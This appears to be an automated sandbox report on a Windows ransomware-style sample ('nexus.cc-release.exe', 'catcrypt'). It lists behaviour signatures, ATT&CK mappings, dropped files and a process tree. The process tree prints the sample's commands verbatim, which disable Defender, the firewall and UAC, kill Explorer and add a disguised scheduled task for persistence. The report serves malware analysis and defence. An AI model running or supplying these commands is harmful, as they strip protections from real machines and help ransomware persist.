Overview

overview

10

Static

static

10

nexus.cc-release.exe

windows10-2004-x64

10

nexus.cc-release.exe

windows11-ltsc_2024-x64

Analysis

  • geolocation tags

    cacanadananorth-americatoronto
  • user interaction
    yes
  • max time kernel
    169s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    nexus.cc-release.exe
  • Size 16.2MB
  • Sample260916-pgzabazerd
  • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 7 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Drops desktop.ini file(s) 3 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 27 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe
    "C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:1380
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:4048
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4792
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1556
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1168
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4736
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:3692
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5592
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:5940
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3812
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:3184
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:5712
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5880
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:5912
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3584
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:1080
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5996
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:1528
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:5456
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:2888
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:4556
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:2040
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:608
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:6052
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:3600
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:1468
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          PID:5480
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Windows\system32\mspaint.exe
            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:684
    • C:\Windows\explorer.exe
      explorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"
      1⤵
        PID:2248
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Drops desktop.ini file(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:4436
      • C:\Windows\system32\drivers\etc\svchost32.exe
        C:\Windows\system32\drivers\etc\svchost32.exe
        1⤵
        • Executes dropped EXE
        PID:1016
      • C:\Windows\system32\userinit.exe
        C:\Windows\system32\userinit.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:6136
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Modifies registry class
          • Suspicious use of FindShellTrayWindow
          PID:5528
        • C:\Windows\system32\drivers\etc\svchost32.exe
          "C:\Windows\system32\drivers\etc\svchost32.exe"
          2⤵
          • Executes dropped EXE
          PID:5868
      • C:\Windows\system32\drivers\etc\svchost32.exe
        "C:\Windows\system32\drivers\etc\svchost32.exe"
        1⤵
        • Executes dropped EXE
        PID:1096
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x000000000000050C
        1⤵
          PID:5596
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
          1⤵
          • Checks SCSI registry key(s)
          PID:4672

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              3
              T1059

              PowerShell

              1
              T1059.001

              Visual Basic

              1
              T1059.005

              Windows Command Shell

              1
              T1059.003

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Active Setup

              1
              T1547.014

              Winlogon Helper DLL

              1
              T1547.004

              Create or Modify System Process

              3
              T1543

              Windows Service

              3
              T1543.003

              Event Triggered Execution

              1
              T1546

              Image File Execution Options Injection

              1
              T1546.012

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Boot or Logon Autostart Execution

              2
              T1547

              Active Setup

              1
              T1547.014

              Winlogon Helper DLL

              1
              T1547.004

              Create or Modify System Process

              3
              T1543

              Windows Service

              3
              T1543.003

              Event Triggered Execution

              1
              T1546

              Image File Execution Options Injection

              1
              T1546.012

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Impair Defenses

              4
              T1562

              Disable or Modify Tools

              3
              T1562.001

              Indicator Removal

              1
              T1070

              Clear Persistence

              1
              T1070.009

              Modify Registry

              8
              T1112

              Credential Access

              Discovery

              Peripheral Device Discovery

              2
              T1120

              Query Registry

              3
              T1012

              System Information Discovery

              4
              T1082

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Defacement

              1
              T1491

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 c1862da433ee483300fca77dab5621fd20adba01bcbe57e7dba7ab119c001392
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 bb0728b0cdbde22bef3b0d1b81e52d7a1ff4307e706b632cdffaf9c76bb05a6a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 865a282560d59eac46310d2325290302e805cfe383d5aa3ea29427d9aa8e8ed9
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d6adf751a6c0c74bed0bd08508cb3078afcaaba6514718c0db9792bb6a1a02fa
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_alio5kqe.fc3.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alio5kqe.fc3.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              catcrypt_block.png
              • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
              • Size 52KB
              • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              catcrypt_show.vbs
              • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
              • Size 940B
              • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              svchost32.exe
              • Path C:\Windows\System32\drivers\etc\svchost32.exe
              • Size 16.2MB
              • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              $boot_marker.tmp
              • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
              • Size 9B
              • SHA256 66ac18f2812d1ae000b850dcc99d9993548cbf7c600ed07024f6eb3042e220c3
              • MD5 SHA1 SHA512
              Submit Download

              $unlocker_id.ux-cryptobytes
              • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
              • Size 6B
              • SHA256 f0b6449d55936b0b5c71144a16f0a8e472b3b33c5f7a065027b24d95cf3a2927
              • MD5 SHA1 SHA512
              Submit Download

              memory/1380-15-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-10-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-18-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-63-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-61-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-17-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-11-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-12-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-14-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1380-13-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1556-28-0x000001E271280000-0x000001E27128A000-memory.dmp
              Download

              memory/1556-26-0x000001E2714A0000-0x000001E2714BE000-memory.dmp
              Download

              memory/1556-27-0x000001E2714C0000-0x000001E271572000-memory.dmp
              Download

              memory/1556-23-0x000001E258C80000-0x000001E258CA2000-memory.dmp
              Download

              memory/1728-9-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1728-0-0x00007FFE609EF000-0x00007FFE609F0000-memory.dmp
              Download

              memory/1728-7-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/1728-2-0x00000000002A0000-0x00000000012D0000-memory.dmp
              Download

              memory/1728-1-0x00007FFE60860000-0x00007FFE61204000-memory.dmp
              Download

              memory/3136-36-0x0000026BF5E40000-0x0000026BF5EF2000-memory.dmp
              Download